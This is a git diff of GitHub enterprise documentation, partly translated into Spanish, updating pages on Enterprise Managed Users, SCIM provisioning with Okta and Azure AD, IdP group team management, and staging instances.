Es posible que personas del equipo necesiten contribuir a los recursos de {% data variables.location.product_location %} que están fuera de {% data variables.enterprise.prodname_emu_enterprise %}. Por ejemplo, puede que quieras mantener una empresa independiente para los proyectos de código abierto de la empresa. Dado que un {% data variables.enterprise.prodname_managed_user %} no puede contribuir a los recursos públicos, los usuarios deberán mantener una cuenta personal independiente para este trabajo.
|
||||
People on your team may need to contribute to resources on {% data variables.location.product_location %} that are outside of your {% data variables.enterprise.prodname_emu_enterprise %}. For example, you may wish to maintain a separate enterprise for your company's open source projects. Because a {% data variables.enterprise.prodname_managed_user %} cannot contribute to public resources, users will need to maintain a separate, personal account for this work.
|
||||
|
||||
Las personas que deben contribuir desde dos cuentas de usuario en {% data variables.location.product_location %} con una estación de trabajo pueden configurar Git para simplificar el proceso. Para obtener más información, consulta "[Administración de varias cuentas](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)".
|
||||
People who must contribute from two user accounts on {% data variables.location.product_location %} using one workstation can configure Git to simplify the process. For more information, see "[Managing multiple accounts](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/managing-multiple-accounts)."
|
||||
|
||||
@@ -80,11 +80,11 @@ To configure provisioning, the setup user with the **@<em>SHORT-CODE</em>_admin*
|
||||
|
||||
## Assigning users and groups
|
||||
|
||||
After you have configured SAML SSO and provisioning, you will be able provision new users on {% data variables.product.prodname_dotcom_the_website %} by assigning users to the {% data variables.product.prodname_emu_idp_application %} application.
|
||||
After you have configured SAML SSO and provisioning, you will be able to provision new users on {% data variables.product.prodname_dotcom_the_website %} by assigning users or groups to the {% data variables.product.prodname_emu_idp_application %} application.
|
||||
|
||||
{% data reusables.scim.emu-scim-rate-limit %}
|
||||
|
||||
You can also automatically manage organization membership by assigning groups to the application and adding them to the "Push Groups" tab in Okta. When the group is provisioned successfully, it will be available to connect to teams in the enterprise's organizations. For more information about managing teams, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
|
||||
You can also automatically manage organization membership by adding groups to the "Push Groups" tab in Okta. When the group is provisioned successfully, it will be available to connect to teams in the enterprise's organizations. For more information about managing teams, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
|
||||
|
||||
When assigning users, you can use the "Roles" attribute in the {% data variables.product.prodname_emu_idp_application %} application to set a user's role in your enterprise on {% data variables.product.product_name %}. For more information on roles, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise)."
|
||||
|
||||
|
||||
@@ -17,9 +17,11 @@ topics:
|
||||
|
||||
## About provisioning for {% data variables.product.prodname_emus %}
|
||||
|
||||
You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise.
|
||||
You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members.
|
||||
|
||||
When you update information associated with a user's identity on your IdP, your IdP will update the user's account on GitHub.com. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} account on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
|
||||
After you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new {% data variables.enterprise.prodname_managed_users %} on {% data variables.product.prodname_dotcom %} via SCIM, and the {% data variables.enterprise.prodname_managed_users %} are added to your enterprise. If you assign a group to the application, all users within the group will be provisioned as new {% data variables.enterprise.prodname_managed_users %}.
|
||||
|
||||
When you update information associated with a user's identity on your IdP, your IdP will update the user's account on {% data variables.product.prodname_dotcom_the_website %}. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.enterprise.prodname_managed_user %} on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
|
||||
|
||||
Groups in your IdP can be used to manage team membership within your enterprise's organizations, allowing you to configure repository access and permissions through your IdP. For more information, see "[Managing team memberships with identity provider groups](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/managing-team-memberships-with-identity-provider-groups)."
|
||||
|
||||
@@ -70,3 +72,9 @@ To configure provisioning, follow the appropriate link from the table below.
|
||||
| Azure AD | OIDC | [Tutorial: Configure GitHub Enterprise Managed User (OIDC) for automatic user provisioning](https://docs.microsoft.com/azure/active-directory/saas-apps/github-enterprise-managed-user-oidc-provisioning-tutorial) in the Azure AD documentation |{% endif %}
|
||||
| Azure AD | SAML | [Tutorial: Configure GitHub Enterprise Managed User for automatic user provisioning](https://docs.microsoft.com/en-us/azure/active-directory/saas-apps/github-enterprise-managed-user-provisioning-tutorial) in the Azure AD documentation |
|
||||
| Okta | SAML | [Configuring SCIM provisioning for Enterprise Managed Users with Okta](/admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/configuring-scim-provisioning-for-enterprise-managed-users-with-okta) |
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** Azure AD does not support provisioning nested groups. For more information, see [How Application Provisioning works in Azure Active Directory](https://learn.microsoft.com/en-us/azure/active-directory/app-provisioning/how-provisioning-works#assignment-based-scoping).
|
||||
|
||||
{% endnote %}
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Managing team memberships with identity provider groups
|
||||
shortTitle: Manage teams with your IdP
|
||||
intro: 'You can manage team membership on {% data variables.product.product_name %} through your identity provider (IdP) by connecting IdP groups with your {% data variables.enterprise.prodname_emu_enterprise %}.'
|
||||
intro: 'You can manage team and organization membership on {% data variables.product.product_name %} through your identity provider (IdP) by connecting IdP groups with teams within your {% data variables.enterprise.prodname_emu_enterprise %}.'
|
||||
product: '{% data reusables.gated-features.emus %}'
|
||||
redirect_from:
|
||||
- /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups
|
||||
@@ -20,13 +20,15 @@ topics:
|
||||
|
||||
## About team management with {% data variables.product.prodname_emus %}
|
||||
|
||||
With {% data variables.product.prodname_emus %}, you can manage team membership within your enterprise through your IdP. When you connect a team in one of your enterprise's organizations to an IdP group, changes to membership from the IdP group are reflected in your enterprise automatically, reducing the need for manual updates and custom scripts.
|
||||
With {% data variables.product.prodname_emus %}, you can manage team and organization membership within your enterprise through your IdP by connecting {% data variables.product.prodname_dotcom %} teams with IdP groups. When you connect a team in one of your enterprise's organizations to an IdP group, changes to membership from the IdP group are reflected in your enterprise automatically, reducing the need for manual updates and custom scripts.
|
||||
|
||||
When a change to an IdP group or a new team connection results in a {% data variables.enterprise.prodname_managed_user %} joining a team in an organization they were not already a member of, the {% data variables.enterprise.prodname_managed_user %} will automatically be added to the organization. Organization owners can also manage organization membership manually. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization if they are not assigned membership in the organization by any other means.
|
||||
When a change to an IdP group or a new team connection results in a {% data variables.enterprise.prodname_managed_user %} joining a team in an organization they were not already a member of, the {% data variables.enterprise.prodname_managed_user %} will automatically be added to the organization. When you disconnect a group from a team, users who became members of the organization via team membership are removed from the organization if they are not assigned membership in the organization by any other means.
|
||||
|
||||
You can connect a team in your enterprise to one IdP group. You can assign the same IdP group to multiple teams in your enterprise.
|
||||
{% note %}
|
||||
|
||||
If you are connecting an existing team to an IdP group, you must first remove any members that were added manually. After you connect a team in your enterprise to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.prodname_dotcom_the_website %}.
|
||||
**Note:** Organization owners can also add {% data variables.enterprise.prodname_managed_users %} to organizations manually, as long as the accounts have already been provisioned via SCIM.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
When group membership changes on your IdP, your IdP sends a SCIM request with the changes to {% data variables.product.prodname_dotcom_the_website %} according to the schedule determined by your IdP, so change may not be immediate. Any requests that change team or organization membership will register in the audit log as changes made by the account used to configure user provisioning.
|
||||
|
||||
@@ -34,6 +36,14 @@ Teams connected to IdP groups cannot be parents of other teams nor a child of an
|
||||
|
||||
To manage repository access for any team in your enterprise, including teams connected to an IdP group, you must make changes on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)".
|
||||
|
||||
## Requirements for connecting IdP groups with teams
|
||||
|
||||
Before you can connect an IdP group with a team on {% data variables.product.prodname_dotcom %}, you must assign the group to the {% data variables.product.prodname_emu_idp_application %} application in your IdP. For more information, see "[About SCIM provisioning for {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/configuring-scim-provisioning-for-enterprise-managed-users)."
|
||||
|
||||
You can connect a team in your enterprise to one IdP group. You can assign the same IdP group to multiple teams in your enterprise.
|
||||
|
||||
If you are connecting an existing team to an IdP group, you must first remove any members that were added manually. After you connect a team in your enterprise to an IdP group, your IdP administrator must make team membership changes through the identity provider. You cannot manage team membership on {% data variables.product.prodname_dotcom_the_website %}.
|
||||
|
||||
## Creating a new team connected to an IdP group
|
||||
|
||||
Any member of an organization can create a new team and connect the team to an IdP group.
|
||||
|
||||
@@ -0,0 +1,166 @@
|
||||
---
|
||||
title: Configuración del aprovisionamiento de usuarios con SCIM para la empresa
|
||||
shortTitle: Configure user provisioning
|
||||
intro: 'Puedes configurar System for Cross-domain Identity Management (SCIM) para {% ifversion scim-for-ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, que aprovisiona automáticamente las cuentas de usuario al asignar la aplicación para {% ifversion scim-for-ghes %}tu instancia{% elsif ghae %}{% data variables.product.product_name %}{% endif %} a un usuario en el proveedor de identidades (IdP).'
|
||||
permissions: '{% ifversion scim-for-ghes %}Site administrators{% elsif ghae %}Enterprise owners{% endif %} can configure user provisioning for {% ifversion scim-for-ghes %}a {% data variables.product.product_name %} instance{% elsif ghae %}an enterprise on {% data variables.product.product_name %}{% endif %}.'
|
||||
versions:
|
||||
ghae: '*'
|
||||
feature: scim-for-ghes
|
||||
type: how_to
|
||||
topics:
|
||||
- Accounts
|
||||
- Authentication
|
||||
- Enterprise
|
||||
- Identity
|
||||
- SSO
|
||||
redirect_from:
|
||||
- /admin/authentication/configuring-user-provisioning-for-your-enterprise
|
||||
- /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-user-provisioning-for-your-enterprise
|
||||
- /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise
|
||||
ms.openlocfilehash: c330d8e375522901d2738b581a897d42d30d628e
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148109920'
|
||||
---
|
||||
{% data reusables.scim.ghes-beta-note %}
|
||||
|
||||
## Acerca del aprovisionamiento de usuarios para {% data variables.product.product_name %}
|
||||
|
||||
{% ifversion ghae %}
|
||||
|
||||
{% data reusables.saml.ae-uses-saml-sso %} Para obtener más información, consulta "[Configuración del inicio de sesión único de SAML para la empresa](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)".
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% ifversion scim-for-ghes %}Si usas el inicio de sesión único (SSO) de SAML para {% data variables.location.product_location %},{% elsif ghae %}Tú{% endif %} puedes configurar SCIM a fin de crear o suspender automáticamente cuentas de usuario y conceder acceso{% ifversion scim-for-ghes %} a la instancia{% elsif ghae %} para {% data variables.product.product_name %}{% endif %} al asignar o anular la asignación de la aplicación en el IdP. Para obtener más información sobre SCIM, consulta [System for Cross-domain Identity Management: Protocolo (RFC 7644)](https://tools.ietf.org/html/rfc7644) en el sitio web de IETF.
|
||||
|
||||
Si no configuras el aprovisionamiento de usuarios con SCIM, el IdP no se comunicará con {% data variables.product.product_name %} automáticamente al asignar la aplicación a un usuario o anular su asignación. Sin SCIM, {% data variables.product.product_name %} crea una cuenta de usuario mediante el aprovisionamiento Just-In-Time (JIT) de SAML la primera vez que alguien navega a {% data variables.product.product_name %} e inicia sesión mediante la autenticación a través de su IdP.
|
||||
|
||||
Configurar el aprovisionamiento permite a tu IdP comunicarse con {% data variables.location.product_location %} cuando asignas o anulas la asignación de la aplicación para {% data variables.product.product_name %} a un usuario en tu IdP. Cuando asignas la aplicación, tu IdP pedirá que {% data variables.location.product_location %} cree una cuenta y enviará un correo electrónico de incorporación al usuario. Cuando desasignas la aplicación, tu IdP se comunicará con {% data variables.product.product_name %} para invalidad cualquier sesión de SAML e inhabilitar la cuenta del miembro.
|
||||
|
||||
Para configurar el aprovisionamiento para tu empresa, debes inhabilitar el aprovisionamiento en {% data variables.product.product_name %} y posteriormente instalar y configurar una aplicación de aprovisionamiento en tu IdP.
|
||||
|
||||
{% ifversion scim-for-ghes %}
|
||||
|
||||
La aplicación de aprovisionamiento en tu IdP se comunica con {% data variables.product.product_name %} con la API de SCIM. Para obtener más información, consulta "[SCIM](/rest/enterprise-admin/scim)" en la documentación de la API REST.
|
||||
|
||||
{% endif %}
|
||||
|
||||
## Acerca de las identidades y las notificaciones
|
||||
|
||||
Después de que un administrador de IdP conceda a una persona acceso a {% data variables.location.product_location %}, el usuario puede autenticarse mediante el IdP para acceder a {% data variables.product.product_name %} mediante el inicio de sesión único de SAML.
|
||||
|
||||
Durante la autenticación, {% ifversion scim-for-ghes %}la instancia{% elsif ghae %}{% data variables.product.product_name %}{% endif %} intenta asociar el usuario con una identidad SAML. De manera predeterminada, {% ifversion scim-for-ghes %}la instancia{% elsif ghae %}{% data variables.product.product_name %}{% endif %} compara la notificación `NameID` del IdP con el nombre de usuario de la cuenta. {% data variables.product.product_name %} normaliza el valor de `NameID` para la comparación. A fin de obtener más información sobre la normalización del nombre de usuario, consulta "[Consideraciones sobre el nombre de usuario para la autenticación externa](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization)".
|
||||
|
||||
Si no hay ningún nombre de usuario coincidente en la instancia, esta crea una cuenta para el usuario. Si hay una cuenta con un nombre de usuario coincidente en la instancia, el usuario inicia sesión en la cuenta.{% ifversion scim-for-ghes %} {% data variables.product.product_name %} compara la notificación del IdP con todas las cuentas de la instancia, independientemente de si estas usan autenticación integrada o ya están asociadas a una identidad SAML.{% endif %}
|
||||
|
||||
{% ifversion scim-for-ghes %}
|
||||
|
||||
Al usar el inicio de sesión único de SAML, un administrador de sitio puede configurar atributos de usuario personalizados para la instancia. Un atributo de nombre de usuario personalizado permitirá que la instancia use un valor del IdP distinto de `NameID`. {% data variables.product.product_name %} respetará esta asignación cuando se configure SCIM. Para obtener más información sobre la asignación de atributos de usuario, consulta "[Configuración del inicio de sesión único de SAML para la empresa](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso)".
|
||||
|
||||
{% endif %}
|
||||
|
||||
Si {% data variables.product.product_name %} identifica correctamente a un usuario del IdP, pero los detalles de la cuenta, como la dirección de correo electrónico, el nombre o el apellido no coinciden, la instancia actualizará los detalles con valores del IdP.
|
||||
|
||||
## Proveedores de identidad compatibles
|
||||
|
||||
Los IdP siguientes admiten el aprovisionamiento de usuarios con SCIM para {% data variables.product.product_name %}.
|
||||
|
||||
{% data reusables.saml.okta-ae-sso-beta %}
|
||||
|
||||
{% data reusables.github-ae.saml-idp-table %}
|
||||
|
||||
{% data reusables.scim.ghes-scim-beta-note %}
|
||||
|
||||
{% data reusables.scim.ghes-scim-idp-table %}
|
||||
|
||||
{% ifversion ghae %} Para los IdP que son compatibles con la asignación de equipos, puedes asignar o anular la asignación de la aplicación de {% data variables.product.product_name %} a los grupos de usuarios en tu IdP. Luego, estos grupos estarán disponibles para que los propietarios de la organización y los mantenedores de equipos en {% data variables.location.product_location %} los asignen a los equipos de {% data variables.product.product_name %}. Para más información, vea "[Asignación de grupos de Okta a equipos](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)".
|
||||
{% endif %}
|
||||
|
||||
## Requisitos previos
|
||||
|
||||
{% ifversion ghae %}
|
||||
|
||||
- Debes configurar el inicio de sesión único de SAML al inicializar {% data variables.product.product_name %}. Para obtener más información, consulte "[Inicialización de {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
|
||||
|
||||
{% elsif scim-for-ghes %}
|
||||
|
||||
- {% data reusables.saml.ghes-you-must-configure-saml-sso %}
|
||||
|
||||
- Debes permitir la autenticación integrada para los usuarios que no tengan una cuenta en el IdP. Para obtener más información, consulta "[Permiso para la autenticación integrada para usuarios fuera del proveedor](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider)".
|
||||
|
||||
- El IdP debe admitir la realización de llamadas SCIM a un proveedor de servicios (SP).
|
||||
|
||||
{% endif %}
|
||||
|
||||
- Debes tener acceso administrativo en tu IdP para configurar la aplicación para el aprovisionamiento de usuarios para {% data variables.product.product_name %}.
|
||||
|
||||
## Habilitar el aprovisionamiento de usuarios para tu empresa
|
||||
|
||||
{% ifversion scim-for-ghes %}
|
||||
|
||||
Para realizar acciones de aprovisionamiento en la instancia, crearás una cuenta de usuario de máquina dedicada y promoverás la cuenta a un propietario de la empresa.
|
||||
|
||||
Después de habilitar SCIM en una instancia de {% data variables.product.product_name %}, se suspenden todas las cuentas de usuario. Si concedes al usuario acceso a la instancia desde el IdP y este usuario se autentica correctamente, se anulará la suspensión de la cuenta del usuario.
|
||||
|
||||
{% endif %}
|
||||
|
||||
{%- ifversion ghae %}
|
||||
1. Mientras tengas una sesión iniciada en {% data variables.location.product_location %} como propietario de empresa, crea un {% data variables.product.pat_v1 %} con el ámbito **admin:enterprise**. Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)".
|
||||
{% note %}
|
||||
|
||||
**Notas**:
|
||||
- A fin de crear el {% data variables.product.pat_generic %}, te recomendamos utilizar la cuenta para el primer propietario empresarial que creaste durante la inicialización. Para obtener más información, consulte "[Inicialización de {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)".
|
||||
- Necesitarás que este {% data variables.product.pat_generic %} configure la aplicación para SCIM en tu IdP. Almacena el token de manera segura en un administrador de contraseñas hasta que lo necesites nuevamente más adelante en estas instrucciones.
|
||||
|
||||
{% endnote %} {% warning %}
|
||||
|
||||
**Advertencia**: Si la cuenta de usuario para el propietario de la empresa que crea el {% data variables.product.pat_generic %} se desactiva o desaprovisiona, tu IdP ya no aprovisionará ni desaprovisionará cuentas de usuario para la empresa automáticamente. Otro propietario de empresa debe crear un {% data variables.product.pat_generic %} y volver a configurar el aprovisionamiento en el IdP.
|
||||
|
||||
{% endwarning %} {%- elsif scim-for-ghes %}
|
||||
1. Crea una cuenta de usuario de máquina dedicada para realizar acciones de aprovisionamiento en la instancia. Para obtener más información, consulta "[Permiso para la autenticación integrada para usuarios fuera del proveedor](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance)".
|
||||
1. Promueve la cuenta de usuario dedicada a un propietario de la empresa. Para más información, vea "[Invitación a usuarios a administrar la empresa](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#adding-an-enterprise-administrator-to-your-enterprise-account)".
|
||||
1. Inicia sesión en la instancia como el nuevo propietario de la empresa.
|
||||
1. Crea un {% data variables.product.pat_v1 %} con el ámbito **admin:enterprise**. Para obtener más información, consulta "[Creación de un {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)".
|
||||
|
||||
{% note %}
|
||||
|
||||
**Nota**: Necesitarás este {% data variables.product.pat_generic %} a fin de probar la configuración de SCIM y configurar la aplicación para SCIM en el IdP. Almacena el token de manera segura en un administrador de contraseñas hasta que lo necesites nuevamente más adelante en estas instrucciones.
|
||||
|
||||
{% endnote %} {% data reusables.enterprise_installation.ssh-into-instance %}
|
||||
1. Para habilitar SCIM, ejecuta los comandos que proporciona el administrador de cuentas en {% data variables.contact.contact_enterprise_sales %}.
|
||||
{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %}
|
||||
1. Para validar que SCIM está operativo, ejecuta los comandos siguientes. Reemplaza _PAT FROM STEP 3_ y _YOUR INSTANCE'S HOSTNAME_ por valores reales.
|
||||
|
||||
```shell
|
||||
$ GHES_PAT="PAT FROM STEP 3"
|
||||
$ GHES_HOSTNAME="YOUR INSTANCE'S HOSTNAME"
|
||||
$ curl --location --request GET 'https://$GHES_HOSTNAME/api/v3/scim/v2/Users' \
|
||||
--header 'Content-Type: application/scim' \
|
||||
--header 'Authorization: Bearer $GHES_PAT'
|
||||
```
|
||||
|
||||
El comando debe devolver una matriz vacía.
|
||||
{%- endif %} {%- ifversion ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %}
|
||||
1. En "Aprovisionamiento de usuarios de SCIM", selecciona **Requerir aprovisionamiento de usuarios de SCIM**.
|
||||
|
||||
1. Haga clic en **Save**(Guardar).
|
||||
 {%- endif %}
|
||||
1. Configura el aprovisionamiento de usuarios en la aplicación para {% data variables.product.product_name %} en tu IdP.
|
||||
|
||||
{%- ifversion ghae %} Los siguientes IdP proporcionan documentación acerca de cómo configurar el aprovisionamiento para {% data variables.product.product_name %}. Si no se lista tu IdP, por favor, contáctalo para solicitar soporte para {% data variables.product.product_name %}.
|
||||
{%- elsif scim-for-ghes %} {% data variables.product.company_short %} proporciona documentación para configurar el aprovisionamiento de los siguientes IdP.{% endif %}
|
||||
|
||||
| IdP | Más información |
|
||||
| :- | :- |
|
||||
| Azure AD | {% ifversion ghae %}[Tutorial: Configuración de {% data variables.product.prodname_ghe_managed %} para el aprovisionamiento de usuarios automático](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) en Microsoft Docs. {% endif %}A fin de configurar Azure AD para {% data variables.product.product_name %}, consulta "[Configuración de la autenticación y el aprovisionamiento para la empresa mediante Azure AD](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)". |
|
||||
| Okta | {% ifversion ghae %}(beta){% endif %} A fin de configurar Okta para {% data variables.product.product_name %}, consulta "[Configuración de la autenticación y el aprovisionamiento para la empresa mediante Okta](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)". |
|
||||
|
||||
La aplicación en tu IdP requiere dos valores para aprovisionar o desaprovisionar las cuentas de usuario en {% data variables.location.product_location %}.
|
||||
|
||||
| Value | Otros nombres | Descripción | Ejemplo |
|
||||
| :- | :- | :- | :- |
|
||||
| Resolución | URL de inquilino | URL para la API de aprovisionamiento de SCIM para tu empresa en {% data variables.product.prodname_ghe_managed %} | <nobr><code>{% data variables.product.api_url_pre %}/scim/v2</nobr></code> |
|
||||
| Secreto compartido | {% data variables.product.pat_generic_caps %}, token secreto | Toekn para que la aplicación en tu IdP realice las tareas de aprovisionamiento en nombre de un propietario de empresa | {% data variables.product.pat_generic_caps %} que creó en el paso {% ifversion ghae %}1{% elsif scim-for-ghes %}4{% endif %} |
|
||||
@@ -1,7 +1,7 @@
|
||||
---
|
||||
title: Using SAML for enterprise IAM
|
||||
title: Uso de SAML para IAM empresarial
|
||||
shortTitle: SAML for enterprise IAM
|
||||
intro: 'You can centrally manage {% ifversion ghes or ghae %}accounts and {% endif %}access to {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise{% elsif ghec %}your enterprise''s resources{% endif %} with SAML single sign-on (SSO){% ifversion ghec or ghae %} and System for Cross-domain Identity Management (SCIM){% endif %}.'
|
||||
intro: 'Puedes administrar de forma centralizada {% ifversion ghes or ghae %}las cuentas y {% endif %}el acceso a {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghae %}tu empresa{% elsif ghec %} y los recursos de tu empresa{% endif %} con el inicio de sesión único de SAML (SSO){% ifversion ghec or ghae %} y System for Cross-domain Identity Management (SCIM){% endif %}.'
|
||||
versions:
|
||||
ghec: '*'
|
||||
ghes: '*'
|
||||
@@ -32,6 +32,11 @@ children:
|
||||
- /updating-a-users-saml-nameid
|
||||
- /switching-your-saml-configuration-from-an-organization-to-an-enterprise-account
|
||||
- /troubleshooting-saml-authentication
|
||||
ms.openlocfilehash: 2a843afa6f5447b9048ef2efbd03dee9e9b856d8
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148107017'
|
||||
---
|
||||
|
||||
{% data reusables.enterprise-accounts.emu-saml-note %}
|
||||
|
||||
@@ -99,7 +99,15 @@ Before launching {% data variables.location.product_location %} on Azure, you'll
|
||||
{% data reusables.enterprise_installation.instance-will-restart-automatically %}
|
||||
{% data reusables.enterprise_installation.visit-your-instance %}
|
||||
|
||||
## Azure extension features
|
||||
|
||||
{% data variables.product.product_name %} does not support the installation of Azure extension features. The {% data variables.product.prodname_ghe_server %} image is shipped with a customized `waagent` package which only supports basic VM management functions and blocks advanced VM management functions.
|
||||
|
||||
To avoid system instability of your {% data variables.product.prodname_ghe_server %} instance, the `walinuxagent` service is intentionally run in {% data variables.product.prodname_ghe_server %} in a restricted mode, explicitly disallowing the agent from being able to install other agents. VM management features that rely on additional agents and extensions beyond that which ships with {% data variables.product.prodname_ghe_server %} image, such as the Monitoring Agent extension for Azure Insights or Azure Backups, are unsupported.
|
||||
|
||||
Because {% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services, installing or updating operating system packages manually will overwrite these customizations and can cause unexpected behavior. For more information, see "[System overview](/admin/overview/system-overview)."
|
||||
|
||||
## Further reading
|
||||
|
||||
|
||||
- "[System overview](/enterprise/admin/guides/installation/system-overview)"{% ifversion ghes %}
|
||||
- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"{% endif %}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Setting up a staging instance
|
||||
intro: 'You can set up a {% data variables.product.product_name %} instance in a separate, isolated environment, and use the instance to validate and test changes.'
|
||||
title: Configurar una instancia de preparación
|
||||
intro: 'Se puede configurar una instancia {% data variables.product.product_name %} en un entorno independiente y aislado, y usar la instancia para validar y probar los cambios.'
|
||||
redirect_from:
|
||||
- /enterprise/admin/installation/setting-up-a-staging-instance
|
||||
- /admin/installation/setting-up-a-staging-instance
|
||||
@@ -13,95 +13,99 @@ topics:
|
||||
- Upgrades
|
||||
shortTitle: Set up a staging instance
|
||||
miniTocMaxHeadingLevel: 3
|
||||
ms.openlocfilehash: ce7d9dde9f86ea5159657203e13d9d191b6b7466
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106865'
|
||||
---
|
||||
## Acerca de las instancias de ensayo
|
||||
|
||||
## About staging instances
|
||||
{% data variables.product.company_short %} recomienda configurar un entorno independiente para probar copias de seguridad, actualizaciones o cambios en la configuración de {% data variables.location.product_location %}. Este entorno, que debes aislar de los sistemas de producción, se llama entorno de ensayo.
|
||||
|
||||
{% data variables.product.company_short %} recommends that you set up a separate environment to test backups, updates, or changes to the configuration for {% data variables.location.product_location %}. This environment, which you should isolate from your production systems, is called a staging environment.
|
||||
|
||||
For example, to protect against loss of data, you can regularly validate the backup of your production instance. You can regularly restore the backup of your production data to a separate {% data variables.product.product_name %} instance in a staging environment. On this staging instance, you could also test the upgrade to the latest feature release of {% data variables.product.product_name %}.
|
||||
Por ejemplo, para protegerte contra la pérdida de datos, puedes validar periódicamente la copia de seguridad de la instancia de producción. Puedes restaurar periódicamente la copia de seguridad de los datos de producción en una instancia independiente de {% data variables.product.product_name %} en un entorno de ensayo. En esta instancia de ensayo también puedes probar la actualización a la versión más reciente de características de {% data variables.product.product_name %}.
|
||||
|
||||
{% tip %}
|
||||
|
||||
**Tip:** You may reuse your existing {% data variables.product.prodname_enterprise %} license file as long as the staging instance is not used in a production capacity.
|
||||
**Sugerencia:** puedes reutilizar el archivo de licencia existente {% data variables.product.prodname_enterprise %} siempre que la instancia de ensayo no se use en una capacidad de producción.
|
||||
|
||||
{% endtip %}
|
||||
|
||||
## Considerations for a staging environment
|
||||
## Consideraciones para un entorno de ensayo
|
||||
|
||||
To thoroughly test {% data variables.product.product_name %} and recreate an environment that's as similar to your production environment as possible, consider the external systems that interact with your instance. For example, you may want to test the following in your staging environment.
|
||||
